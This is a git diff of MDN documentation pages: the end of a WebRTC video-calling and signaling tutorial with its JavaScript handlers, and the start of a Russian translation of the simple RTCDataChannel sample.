+<p>Then we iterate over the array of user names using {{jsxref("Array.forEach", "forEach()")}}. For each name, we create a new {{HTMLElement("li")}} element, then create a new text node containing the user name using {{domxref("Document.createTextNode", "createTextNode()")}}. That text node is added as a child of the <code>&lt;li&gt;</code> element. Next, we set a handler for the {{event("click")}} event on the list item, that clicking on a user name calls our <code>invite()</code> method, which we'll look at in the next section.</p>
+
+<p>Finally, we append the new item to the <code>&lt;ul&gt;</code> that contains all of the user names.</p>
+
+<h4 id="Starting_a_call">Starting a call</h4>
+
+<p>When the user clicks on a username they want to call, the <code>invite()</code> function is invoked as the event handler for that {{event("click")}} event:</p>
+
+<pre class="brush: js notranslate">var mediaConstraints = {
+  audio: true, // We want an audio track
+  video: true // ...and we want a video track
+};
+
+function invite(evt) {
+  if (myPeerConnection) {
+    alert("You can't start a call because you already have one open!");
+  } else {
+    var clickedUsername = evt.target.textContent;
+
+    if (clickedUsername === myUsername) {
+      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      return;
+    }
+
+    targetUsername = clickedUsername;
+    createPeerConnection();
+
+    navigator.mediaDevices.getUserMedia(mediaConstraints)
+    .then(function(localStream) {
+      document.getElementById("local_video").srcObject = localStream;
+      localStream.getTracks().forEach(track =&gt; myPeerConnection.addTrack(track, localStream));
+    })
+    .catch(handleGetUserMediaError);
+  }
+}</pre>
+
+<p>This begins with a basic sanity check: is the user even connected? If there's no {{domxref("RTCPeerConnection")}}, they obviously can't make a call. Then the name of the user that was clicked upon is obtained from the event target's {{domxref("Node.textContent", "textContent")}} property, and we check to be sure that it's not the same user that's trying to start the call.</p>
+
+<p>Then we copy the name of the user we're calling into the variable <code>targetUsername</code> and call <code>createPeerConnection()</code>, a function which will create and do basic configuration of the {{domxref("RTCPeerConnection")}}.</p>
+
+<p>Once the <code>RTCPeerConnection</code> has been created, we request access to the user's camera and microphone by calling {{domxref("MediaDevices.getUserMedia()")}}, which is exposed to us through the {{domxref("Navigator.mediaDevices.getUserMedia")}} property. When this succeeds, fulfilling the returned promise, our <code>then</code> handler is executed. It receives, as input, a {{domxref("MediaStream")}} object representing the stream with audio from the user's microphone and video from their webcam.</p>
+
+<div class="note">
+<p><strong>Note:</strong> We could restrict the set of permitted media inputs to a specific device or set of devices by calling {{domxref("MediaDevices.enumerateDevices", "navigator.mediaDevices.enumerateDevices()")}} to get a list of devices, filtering the resulting list based on our desired criteria, then using the selected devices' {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} values in the <code>deviceId</code> field of the the <code>mediaConstraints</code> object passed into <code>getUserMedia()</code>. In practice, this is rarely if ever necessary, since most of that work is done for you by <code>getUserMedia()</code>.</p>
+</div>
+
+<p>We attach the incoming stream to the local preview {{HTMLElement("video")}} element by setting the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}} property. Since the element is configured to automatically play incoming video, the stream begins playing in our local preview box.</p>
+
+<p>We then iterate over the tracks in the stream, calling {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} to add each track to the <code>RTCPeerConnection</code>. Even though the connection is not fully established yet, it's important to begin sending media to it as soon as possible, because the media will help the ICE layer decide on the best connectivity approach to take, aiding in the negotiation process.</p>
+
+<p>As soon as media is attached to the <code>RTCPeerConnection</code>, a {{event("negotiationneeded")}} event is triggered at the connection, so that ICE negotiation can be started.</p>
+
+<p>If an error occurs while trying to get the local media stream, our catch clause calls <code>handleGetUserMediaError()</code>, which displays an appropriate error to the user as required.</p>
+
+<h4 id="Handling_getUserMedia_errors">Handling getUserMedia() errors</h4>
+
+<p>If the promise returned by <code>getUserMedia()</code> concludes in a failure, our <code>handleGetUserMediaError()</code> function performs.</p>
+
+<pre class="brush: js notranslate">function handleGetUserMediaError(e) {
+  switch(e.name) {
+    case "NotFoundError":
+      alert("Unable to open your call because no camera and/or microphone" +
+            "were found.");
+      break;
+    case "SecurityError":
+    case "PermissionDeniedError":
+      // Do nothing; this is the same as the user canceling the call.
+      break;
+    default:
+      alert("Error opening your camera and/or microphone: " + e.message);
+      break;
+  }
+
+  closeVideoCall();
+}</pre>
+
+<p>An error message is displayed in all cases but one. In this example, we ignore <code>"SecurityError"</code> and <code>"PermissionDeniedError"</code> results, treating refusal to grant permission to use the media hardware the same as the user canceling the call.</p>
+
+<p>Regardless of why an attempt to get the stream fails, we call our <code>closeVideoCall()</code> function to shut down the {{domxref("RTCPeerConnection")}}, and release any resources already allocated by the process of attempting the call. This code is designed to safely handle partially-started calls.</p>
+
+<h4 id="Creating_the_peer_connection">Creating the peer connection</h4>
+
+<p>The <code>createPeerConnection()</code> function is used by both the caller and the callee to construct their {{domxref("RTCPeerConnection")}} objects, their respective ends of the WebRTC connection. It's invoked by <code>invite()</code> when the caller tries to start a call, and by <code>handleVideoOfferMsg()</code> when the callee receives an offer message from the caller.</p>
+
+<pre class="brush: js notranslate">function createPeerConnection() {
+  myPeerConnection = new RTCPeerConnection({
+      iceServers: [     // Information about ICE servers - Use your own!
+        {
+          urls: "stun:stun.stunprotocol.org"
+        }
+      ]
+  });
+
+  myPeerConnection.onicecandidate = handleICECandidateEvent;
+  myPeerConnection.ontrack = handleTrackEvent;
+  myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+  myPeerConnection.onremovetrack = handleRemoveTrackEvent;
+  myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+  myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+  myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+}
+</pre>
+
+<p>When using the {{domxref("RTCPeerConnection.RTCPeerConnection", "RTCPeerConnection()")}} constructor, we will specify an {{domxref("RTCConfiguration")}}-compliant object providing configuration parameters for the connection. We use only one of these in this example: <code>iceServers</code>. This is an array of objects describing STUN and/or TURN servers for the {{Glossary("ICE")}} layer to use when attempting to establish a route between the caller and the callee. These servers are used to determine the best route and protocols to use when communicating between the peers, even if they're behind a firewall or using {{Glossary("NAT")}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> You should always use STUN/TURN servers which you own, or which you have specific authorization to use. This example is using a known public STUN server but abusing these is bad form.</p>
+</div>
+
+<p>Each object in <code>iceServers</code> contains at least a <code>urls</code> field providing URLs at which the specified server can be reached. It may also provide <code>username</code> and <code>credential</code> values to allow authentication to take place, if needed.</p>
+
+<p>After creating the {{domxref("RTCPeerConnection")}}, we set up handlers for the events that matter to us.</p>
+
+<p>The first three of these event handlers are required; you have to handle them to do anything involving streamed media with WebRTC. The rest aren't strictly required but can be useful, and we'll explore them. There are a few other events available that we're not using in this example, as well. Here's a summary of each of the event handlers we will be implementing:</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.onicecandidate")}}</dt>
+ <dd>The local ICE layer calls your {{event("icecandidate")}} event handler, when it needs you to transmit an ICE candidate to the other peer, through your signaling server. See {{anch("Sending ICE candidates")}} for more information and to see the code for this example.</dd>
+ <dt>{{domxref("RTCPeerConnection.ontrack")}}</dt>
+ <dd>This handler for the {{event("track")}} event is called by the local WebRTC layer when a track is added to the connection. This lets you connect the incoming media to an element to display it, for example. See {{anch("Receiving new streams")}} for details.</dd>
+ <dt>{{domxref("RTCPeerConnection.onnegotiationneeded")}}</dt>
+ <dd>This function is called whenever the WebRTC infrastructure needs you to start the session negotiation process anew. Its job is to create and send an offer, to the callee, asking it to connect with us. See {{anch("Starting negotiation")}} to see how we handle this.</dd>
+ <dt>{{domxref("RTCPeerConnection.onremovetrack")}}</dt>
+ <dd>This counterpart to <code>ontrack</code> is called to handle the {{event("removetrack")}} event; it's sent to the <code>RTCPeerConnection</code> when the remote peer removes a track from the media being sent. See {{anch("Handling the removal of tracks")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}</dt>
+ <dd>The {{event("iceconnectionstatechange")}} event is sent by the ICE layer to let you know about changes to the state of the ICE connection. This can help you know when the connection has failed, or been lost. We'll look at the code for this example in {{anch("ICE connection state")}} below.</dd>
+ <dt>{{domxref("RTCPeerConnection.onicegatheringstatechange")}}</dt>
+ <dd>The ICE layer sends you the {{event("icegatheringstatechange")}} event, when the ICE agent's process of collecting candidates shifts, from one state to another (such as starting to gather candidates or completing negotiation). See {{anch("ICE gathering state")}} below.</dd>
+ <dt>{{domxref("RTCPeerConnection.onsignalingstatechange")}}</dt>
+ <dd>The WebRTC infrastructure sends you the {{event("signalingstatechange")}} message when the state of the signaling process changes (or if the connection to the signaling server changes). See {{anch("Signaling state")}} to see our code.</dd>
+</dl>
+
+<h4 id="Starting_negotiation">Starting negotiation</h4>
+
+<p>Once the caller has created its  {{domxref("RTCPeerConnection")}}, created a media stream, and added its tracks to the connection as shown in {{anch("Starting a call")}}, the browser will deliver a {{event("negotiationneeded")}} event to the {{domxref("RTCPeerConnection")}} to indicate that it's ready to begin negotiation with the other peer. Here's our code for handling the {{event("negotiationneeded")}} event:</p>
+
+<pre class="brush: js notranslate">function handleNegotiationNeededEvent() {
+  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(reportError);
+}</pre>
+
+<p>To start the negotiation process, we need to create and send an SDP offer to the peer we want to connect to. This offer includes a list of supported configurations for the connection, including information about the media stream we've added to the connection locally (that is, the video we want to send to the other end of the call), and any ICE candidates gathered by the ICE layer already. We create this offer by calling {{domxref("RTCPeerConnection.createOffer", "myPeerConnection.createOffer()")}}.</p>
+
+<p>When <code>createOffer()</code> succeeds (fulfilling the promise), we pass the created offer information into {{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}}, which configures the connection and media configuration state for the caller's end of the connection.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Technically speaking, the string returned by <code>createOffer()</code> is an {{RFC(3264)}} offer.</p>
+</div>
+
+<p>We know the description is valid, and has been set, when the promise returned by <code>setLocalDescription()</code> is fulfilled. This is when we send our offer to the other peer by creating a new <code>"video-offer"</code> message containing the local description (now the same as the offer), then sending it through our signaling server to the callee. The offer has the following members:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type: <code>"video-offer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>The caller's username.</dd>
+ <dt><code>target</code></dt>
+ <dd>The name of the user we wish to call.</dd>
+ <dt><code>sdp</code></dt>
+ <dd>The SDP string describing the offer.</dd>
+</dl>
+
+<p>If an error occurs, either in the initial <code>createOffer()</code> or in any of the fulfillment handlers that follow, an error is reported by invoking our <code>reportError()</code> function.</p>
+
+<p>Once <code>setLocalDescription()</code>'s fulfillment handler has run, the ICE agent begins sending {{event("icecandidate")}} events to the {{domxref("RTCPeerConnection")}}, one for each potential configuration it discovers. Our handler for the <code>icecandidate</code> event is responsible for transmitting the candidates to the other peer.</p>
+
+<h4 id="Session_negotiation">Session negotiation</h4>
+
+<p>Now that we've started negotiation with the other peer and have transmitted an offer, let's look at what happens on the callee's side of the connection for a while. The callee receives the offer and calls <code>handleVideoOfferMsg()</code> function to process it. Let's see how the callee handles the <code>"video-offer"</code> message.</p>
+
+<h5 id="Handling_the_invitation">Handling the invitation</h5>
+
+<p>When the offer arrives, the callee's <code>handleVideoOfferMsg()</code> function is called with the <code>"video-offer"</code> message that was received. This function needs to do two things. First, it needs to create its own {{domxref("RTCPeerConnection")}} and add the tracks containing the audio and video from its microphone and webcam to that. Second, it needs to process the received offer, constructing and sending its answer.</p>
+
+<pre class="brush: js notranslate">function handleVideoOfferMsg(msg) {
+  var localStream = null;
+
+  targetUsername = msg.name;
+  createPeerConnection();
+
+  var desc = new RTCSessionDescription(msg.sdp);
+
+  myPeerConnection.setRemoteDescription(desc).then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function(stream) {
+    localStream = stream;
+    document.getElementById("local_video").srcObject = localStream;
+
+    localStream.getTracks().forEach(track =&gt; myPeerConnection.addTrack(track, localStream));
+  })
+  .then(function() {
+    return myPeerConnection.createAnswer();
+  })
+  .then(function(answer) {
+    return myPeerConnection.setLocalDescription(answer);
+  })
+  .then(function() {
+    var msg = {
+      name: myUsername,
+      target: targetUsername,
+      type: "video-answer",
+      sdp: myPeerConnection.localDescription
+    };
+
+    sendToServer(msg);
+  })
+  .catch(handleGetUserMediaError);
+}</pre>
+
+<p class="brush: js">This code is very similar to what we did in the <code>invite()</code> function back in {{anch("Starting a call")}}. It starts by creating and configuring an {{domxref("RTCPeerConnection")}} using our <code>createPeerConnection()</code> function. Then it takes the SDP offer from the received <code>"video-offer"</code> message and uses it to create a new {{domxref("RTCSessionDescription")}} object representing the caller's session description.</p>
+
+<p class="brush: js">That session description is then passed into {{domxref("RTCPeerConnection.setRemoteDescription", "myPeerConnection.setRemoteDescription()")}}. This establishes the received offer as the description of the remote (caller's) end of the connection. If this is successful, the promise fulfillment handler (in the <code>then()</code> clause) starts the process of getting access to the callee's camera and microphone using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, adding the tracks to the connection, and so forth, as we saw previously in <code>invite()</code>.</p>
+
+<p class="brush: js">Once the answer has been created using {{domxref("RTCPeerConnection.createAnswer", "myPeerConnection.createAnswer()")}}, the description of the local end of the connection is set to the answer's SDP by calling {{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}}, then the answer is transmitted through the signaling server to the caller to let them know what the answer is</p>
+
+<p>Any errors are caught and passed to <code>handleGetUserMediaError()</code>, described in {{anch("Handling getUserMedia() errors")}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> As is the case with the caller, once the <code>setLocalDescription()</code> fulfillment handler has run, the browser begins firing {{event("icecandidate")}} events that the callee must handle, one for each candidate that needs to be transmitted to the remote peer.</p>
+</div>
+
+<h5 id="Sending_ICE_candidates">Sending ICE candidates</h5>
+
+<p>The ICE negotiation process involves each peer sending candidates to the other, repeatedly, until it runs out of potential ways it can support the <code>RTCPeerConnection</code>'s media transport needs. Since ICE doesn't know about your signaling server, your code handles transmission of each candidate in your handler for the {{event("icecandidate")}} event.</p>
+
+<p>Your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler receives an event whose <code>candidate</code> property is the SDP describing the candidate (or is <code>null</code> to indicate that the ICE layer has run out of potential configurations to suggest). The contents of <code>candidate</code> are what you need to transmit using your signaling server. Here's our example's implementation:</p>
+
+<pre class="brush: js notranslate">function handleICECandidateEvent(event) {
+  if (event.candidate) {
+    sendToServer({
+      type: "new-ice-candidate",
+      target: targetUsername,
+      candidate: event.candidate
+    });
+  }
+}</pre>
+
+<p>This builds an object containing the candidate, then sends it to the other peer using the <code>sendToServer()</code> function previously described in {{anch("Sending messages to the signaling server")}}. The message's properties are:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type: <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>target</code></dt>
+ <dd>The username the ICE candidate needs to be delivered to. This lets the signaling server route the message.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>The SDP representing the candidate the ICE layer wants to transmit to the other peer.</dd>
+</dl>
+
+<p>The format of this message (as is the case with everything you do when handling signaling) is entirely up to you, depending on your needs; you can provide other information as required.</p>
+
+<div class="note">
+<p><strong>Note:</strong> It's important to keep in mind that the {{event("icecandidate")}} event is <strong>not</strong> sent when ICE candidates arrive from the other end of the call. Instead, they're sent by your own end of the call so that you can take on the job of transmitting the data over whatever channel you choose. This can be confusing when you're new to WebRTC.</p>
+</div>
+
+<h5 id="Receiving_ICE_candidates">Receiving ICE candidates</h5>
+
+<p>The signaling server delivers each ICE candidate to the destination peer using whatever method it chooses; in our example this is as JSON objects, with a <code>type</code> property containing the string <code>"new-ice-candidate"</code>. Our <code>handleNewICECandidateMsg()</code> function is called by our main <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> incoming message code to handle these messages:</p>
+
+<pre class="brush: js notranslate">function handleNewICECandidateMsg(msg) {
+  var candidate = new RTCIceCandidate(msg.candidate);
+
+  myPeerConnection.addIceCandidate(candidate)
+    .catch(reportError);
+}</pre>
+
+<p>This function constructs an {{domxref("RTCIceCandidate")}} object by passing the received SDP into its constructor, then delivers the candidate to the ICE layer by passing it into {{domxref("RTCPeerConnection.addIceCandidate", "myPeerConnection.addIceCandidate()")}}. This hands the fresh ICE candidate to the local ICE layer, and finally, our role in the process of handling this candidate is complete.</p>
+
+<p>Each peer sends to the other peer a candidate for each possible transport configuration that it believes might be viable for the media being exchanged. At some point, the two peers agree that a given candidate is a good choice and they open the connection and begin to share media. It's important to note, however, that ICE negotiation does <em>not</em> stop once media is flowing. Instead, candidates may still keep being exchanged after the conversation has begun, either while trying to find a better connection method, or simply because they were already in transport when the peers successfully established their connection.</p>
+
+<p>In addition, if something happens to cause a change in the streaming scenario, negotiation will begin again, with the {{event("negotiationneeded")}} event being sent to the {{domxref("RTCPeerConnection")}}, and the entire process starts again as described before. This can happen in a variety of situations, including:</p>
+
+<ul>
+ <li>Changes in the network status, such as a bandwidth change, transitioning from WiFi to cellular connectivity, or the like.</li>
+ <li>Switching between the front and rear cameras on a phone.</li>
+ <li>A change to the configuration of the stream, such as its resolution or frame rate.</li>
+</ul>
+
+<h5 id="Receiving_new_streams">Receiving new streams</h5>
+
+<p>When new tracks are added to the <code>RTCPeerConnection</code>— either by calling its {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} method or because of renegotiation of the stream's format—a {{event("track")}} event is set to the <code>RTCPeerConnection</code> for each track added to the connection. Making use of newly added media requires implementing a handler for the <code>track</code> event. A common need is to attach the incoming media to an appropriate HTML element. In our example, we add the track's stream to the {{HTMLElement("video")}} element that displays the incoming video:</p>
+
+<pre class="brush: js notranslate">function handleTrackEvent(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+}</pre>
+
+<p>The incoming stream is attached to the <code>"received_video"</code> {{HTMLElement("video")}} element, and the "Hang Up" {{HTMLElement("button")}} element is enabled so the user can hang up the call.</p>
+
+<p>Once this code has completed, finally the video being sent by the other peer is displayed in the local browser window!</p>
+
+<h5 id="Handling_the_removal_of_tracks">Handling the removal of tracks</h5>
+
+<p>Your code receives a {{event("removetrack")}} event when the remote peer removes a track from the connection by calling {{domxref("RTCPeerConnection.removeTrack()")}}. Our handler for <code>"removetrack"</code> is:</p>
+
+<pre class="brush: js notranslate">function handleRemoveTrackEvent(event) {
+  var stream = document.getElementById("received_video").srcObject;
+  var trackList = stream.getTracks();
+
+  if (trackList.length == 0) {
+    closeVideoCall();
+  }
+}</pre>
+
+<p>This code fetches the incoming video {{domxref("MediaStream")}} from the <code>"received_video"</code> {{HTMLElement("video")}} element's {{htmlattrxref("srcObject", "video")}} attribute, then calls the stream's {{domxref("MediaStream.getTracks", "getTracks()")}} method to get an array of the stream's tracks.</p>
+
+<p>If the array's length is zero, meaning there are no tracks left in the stream, we end the call by calling <code>closeVideoCall()</code>. This cleanly restores our app to a state in which it's ready to start or receive another call. See {{anch("Ending the call")}} to learn how <code>closeVideoCall()</code> works.</p>
+
+<h4 id="Ending_the_call">Ending the call</h4>
+
+<p>There are many reasons why calls may end. A call might have completed, with one or both sides having hung up. Perhaps a network failure has occurred, or one user might have quit their browser, or had a system crash. In any case, all good things must come to an end.</p>
+
+<h5 id="Hanging_up">Hanging up</h5>
+
+<p>When the user clicks the "Hang Up" button to end the call, the <code>hangUpCall()</code> function is called:</p>
+
+<pre class="brush: js notranslate">function hangUpCall() {
+  closeVideoCall();
+  sendToServer({
+    name: myUsername,
+    target: targetUsername,
+    type: "hang-up"
+  });
+}</pre>
+
+<p><code>hangUpCall()</code> executes <code>closeVideoCall()</code> to shut down and reset the connection and release resources. It then builds a <code>"hang-up"</code> message and sends it to the other end of the call to tell the other peer to neatly shut itself down.</p>
+
+<h5 id="Ending_the_call_2">Ending the call</h5>
+
+<p>The <code>closeVideoCall()</code> function, shown below, is responsible for stopping the streams, cleaning up, and disposing of the {{domxref("RTCPeerConnection")}} object:</p>
+
+<pre class="brush: js notranslate">function closeVideoCall() {
+  var remoteVideo = document.getElementById("received_video");
+  var localVideo = document.getElementById("local_video");
+
+  if (myPeerConnection) {
+    myPeerConnection.ontrack = null;
+    myPeerConnection.onremovetrack = null;
+    myPeerConnection.onremovestream = null;
+    myPeerConnection.onicecandidate = null;
+    myPeerConnection.oniceconnectionstatechange = null;
+    myPeerConnection.onsignalingstatechange = null;
+    myPeerConnection.onicegatheringstatechange = null;
+    myPeerConnection.onnegotiationneeded = null;
+
+    if (remoteVideo.srcObject) {
+      remoteVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+    }
+
+    if (localVideo.srcObject) {
+      localVideo.srcObject.getTracks().forEach(track =&gt; track.stop());
+    }
+
+    myPeerConnection.close();
+    myPeerConnection = null;
+  }
+
+  remoteVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+  localVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+
+  document.getElementById("hangup-button").disabled = true;
+  targetUsername = null;
+}
+</pre>
+
+<p>After pulling references to the two {{HTMLElement("video")}} elements, we check if a WebRTC connection exists; if it does, we proceed to disconnect and close the call:</p>
+
+<ol>
+ <li>All of the event handlers are removed. This prevents stray event handlers from being triggered while the connection is in the process of closing, potentially causing errors.</li>
+ <li>For both remote and local video streams, we iterate over each track, calling the {{domxref("MediaStreamTrack.stop()")}} method to close each one.</li>
+ <li>Close the {{domxref("RTCPeerConnection")}} by calling {{domxref("RTCPeerConnection.close", "myPeerConnection.close()")}}.</li>
+ <li>Set <code>myPeerConnection</code> to <code>null</code>, ensuring our code learns there's no ongoing call; this is useful when the user clicks a name in the user list.</li>
+</ol>
+
+<p>Then for both the incoming and outgoing {{HTMLElement("video")}} elements, we remove their {{htmlattrxref("src", "video")}} and {{htmlattrxref("srcObject", "video")}} attributes using their {{domxref("Element.removeAttribute", "removeAttribute()")}} methods. This completes the disassociation of the streams from the video elements.</p>
+
+<p>Finally, we set the {{domxref("HTMLElement.disabled", "disabled")}} property to <code>true</code> on the "Hang Up" button, making it unclickable while there is no call underway; then we set <code>targetUsername</code> to <code>null</code> since we're no longer talking to anyone. This allows the user to call another user, or to receive an incoming call.</p>
+
+<h4 id="Dealing_with_state_changes">Dealing with state changes</h4>
+
+<p>There are a number of additional events you can set listeners for which notifying your code of a variety of state changes. We use three of them: {{event("iceconnectionstatechange")}}, {{event("icegatheringstatechange")}}, and {{event("signalingstatechange")}}.</p>
+
+<h5 id="ICE_connection_state">ICE connection state</h5>
+
+<p>{{event("iceconnectionstatechange")}} events are sent to the {{domxref("RTCPeerConnection")}} by the ICE layer when the connection state changes (such as when the call is terminated from the other end).</p>
+
+<pre class="brush: js notranslate">function handleICEConnectionStateChangeEvent(event) {
+  switch(myPeerConnection.iceConnectionState) {
+    case "closed":
+    case "failed":
+    case "disconnected":
+      closeVideoCall();
+      break;
+  }
+}</pre>
+
+<p>Here, we apply our <code>closeVideoCall()</code> function when the ICE connection state changes to <code>"closed"</code>, <code>"failed"</code>, or <code>"disconnected"</code>. This handles shutting down our end of the connection so that we're ready start or accept a call once again.</p>
+
+<h5 id="ICE_signaling_state">ICE signaling state</h5>
+
+<p>Similarly, we watch for {{event("signalingstatechange")}} events. If the signaling state changes to <code>closed</code>, we likewise close the call out.</p>
+
+<pre class="brush: js notranslate">function handleSignalingStateChangeEvent(event) {
+  switch(myPeerConnection.signalingState) {
+    case "closed":
+      closeVideoCall();
+      break;
+  }
+};</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> The <code>closed</code> signaling state has been deprecated in favor of the <code>closed</code> {{domxref("RTCPeerConnection.iceConnectionState", "iceConnectionState")}}. We are watching for it here to add a bit of backward compatibility.</p>
+</div>
+
+<h5 id="ICE_gathering_state">ICE gathering state</h5>
+
+<p>{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but it can be useful to watch these events for debugging purposes, as well as to detect when candidate collection has finished.</p>
+
+<pre class="brush: js notranslate">function handleICEGatheringStateChangeEvent(event) {
+  // Our sample just logs information to console here,
+  // but you can do whatever you need.
+}
+</pre>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>You can now <a href="https://webrtc-from-chat.glitch.me/">try out this example on Glitch</a> to see it in action. Open the Web console on both devices and look at the logged output—although you don't see it in the code as shown above, the code on the server (and on <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">GitHub</a>) has a lot of console output so you can see the signaling and connection processes at work.</p>
+
+<p>Another obvious improvement would be to add a "ringing" feature, so that instead of just asking the user for permission to use the camera and microphone, a "User X is calling. Would you like to answer?" prompt appears first.</p>
diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html
new file mode 100644
index 0000000000..5d818e7829
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html
@@ -0,0 +1,272 @@
+---
+title: Простой пример RTCDataChannel
+slug: Web/API/WebRTC_API/Simple_RTCDataChannel_sample
+translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>Интерфейс {{domxref("RTCDataChannel")}} является функциональностью  <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a> , который позволяет открыть канал между узлами соединения, по которому можно отправлять и получать произвольные данные. Эти  API намеренно сходны с  <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>, для использования единой програмной модели.</p>
+
+<p>В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удаленному компьютеру для другого примера.</p>
+
+<h2 id="Разметка_HTML">Разметка HTML</h2>
+
+<p>Сначала быстро посмотрим на  <a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-simple-datachannel/index.html" rel="noopener">необходимую разметку HTML </a>. В ней нет ничего сложного. В начале мы определяем пару кнопок, создающих и закрывающих соединение:</p>
+
+<pre class="brush: html">&lt;button id="connectButton" name="connectButton" class="buttonleft"&gt;
+  Connect
+&lt;/button&gt;
+&lt;button id="disconnectButton" name="disconnectButton" class="buttonright" disabled&gt;
+  Disconnect
+&lt;/button&gt;</pre>
+
+<p>Затем, определяем блок, который содержит элемент управления ввода текста, в который пользователь печатает текст свого сообщения, предназначенного для отправки, по нажатию кнопки. Элемент {{HTMLElement("div")}} будет представлять первый узлел в канале передачи (сторона отправителя).</p>
+
+<pre class="brush: html">  &lt;div class="messagebox"&gt;
+    &lt;label for="message"&gt;Enter a message:
+      &lt;input type="text" name="message" id="message" placeholder="Message text"
+              inputmode="latin" size=60 maxlength=120 disabled&gt;
+    &lt;/label&gt;
+    &lt;button id="sendButton" name="sendButton" class="buttonright" disabled&gt;
+      Send
+    &lt;/button&gt;
+  &lt;/div&gt;</pre>
+
+<p>И наконец, небольшой блок, в который будем помещать получаемое сообщение. Элемент {{HTMLElement("div")}} будет представлять второй узел соединения (сторона получателя).</p>
+
+<pre class="brush: html">&lt;div class="messagebox" id="receivebox"&gt;
+  &lt;p&gt;Messages received:&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h2 id="Код_JavaScript">Код JavaScript</h2>
+
+<p>While you can just <a class="external" href="https://github.com/mdn/samples-server/tree/master/s/webrtc-simple-datachannel/main.js" rel="noopener">look at the code itself on GitHub</a>, below we'll review the parts of the code that do the heavy lifting.</p>
+
+<p>The WebRTC API makes heavy use of {{jsxref("Promise")}}s. They make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 2015</a>, you should read up on them. Similarly, this example uses <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> to simplify syntax.</p>
+
+<h3 id="Starting_up">Starting up</h3>
+
+<p>When the script is run, we set up an {{event("load")}} event listener, so that once the page is fully loaded, our <code>startup()</code> function is called.</p>
+
+<pre class="brush: js">function startup() {
+  connectButton = document.getElementById('connectButton');
+  disconnectButton = document.getElementById('disconnectButton');
+  sendButton = document.getElementById('sendButton');
+  messageInputBox = document.getElementById('message');
+  receiveBox = document.getElementById('receivebox');
+
+  // Set event listeners for user interface widgets
+
+  connectButton.addEventListener('click', connectPeers, false);
+  disconnectButton.addEventListener('click', disconnectPeers, false);
+  sendButton.addEventListener('click', sendMessage, false);
+}</pre>
+
+<p>This is quite straightforward. We grab references to all the page elements we'll need to access, then set {{domxref("EventListener", "event listeners")}} on the three buttons.</p>
+
+<h3 id="Establishing_a_connection">Establishing a connection</h3>
+
+<p>When the user clicks the "Connect" button, the <code>connectPeers()</code> method is called. We're going to break this up and look at it a bit at a time, for clarity.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Even though both ends of our connection will be on the same page, we're going to refer to the one that starts the connection as the "local" one, and to the other as the "remote" end.</p>
+</div>
+
+<h4 id="Set_up_the_local_peer">Set up the local peer</h4>
+
+<pre class="brush: js">localConnection = new RTCPeerConnection();
+
+sendChannel = localConnection.createDataChannel("sendChannel");
+sendChannel.onopen = handleSendChannelStatusChange;
+sendChannel.onclose = handleSendChannelStatusChange;
+</pre>
+
